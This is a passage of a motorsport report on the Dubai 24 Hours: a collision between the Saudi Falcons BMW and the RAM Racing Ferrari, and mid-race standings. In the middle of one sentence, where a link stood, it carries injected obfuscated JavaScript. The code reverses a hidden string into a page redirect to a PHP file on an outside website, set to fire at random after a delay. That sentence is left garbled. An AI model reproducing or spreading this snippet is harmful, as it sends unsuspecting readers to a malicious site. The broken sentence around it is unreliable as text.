It was the collision between the #12 Saudi Falcons BMW Z4 and the #20 RAM Racing (ironic, no?) Ferrari however that got most tongues wagging throughout the paddock. Not only had one of the frontrunners come to blows with the event’s newest team (the Dubai 24hrs marked $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/ram-racing-star-driver-line-up-dubai-24hrs/” target=”_blank”>RAM Racing’s first event), but neither the Falcon’s Dominik Baumann (AU) nor RAM’s Johnny Mowlem (UK) could decide who was at fault.
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Early lead threateners Craft Racing AMR, despite a hold up during the pit stops, were still in seventh with the #15 Aston Martin Vantage GT3 (Darren Turner, Frank Yu, Tomonobu Fuijiii and Darryl O’Young)…
…just ahead of the JLOC Lamborghini Gallardo LP600 (Manabu Orido, Takayuki Aoki, Hideki Yamauchi and Yuuya Sakamoto) and the Lapidus Racing McLaren MP4-12C (Klaas Hummel, Adam Christodoulou, Phil Quaife and Tim Mullen).
Four different manufacturers held the top four positions, and seven held the top ten spots. As darkness fell, predictions were few and far between.
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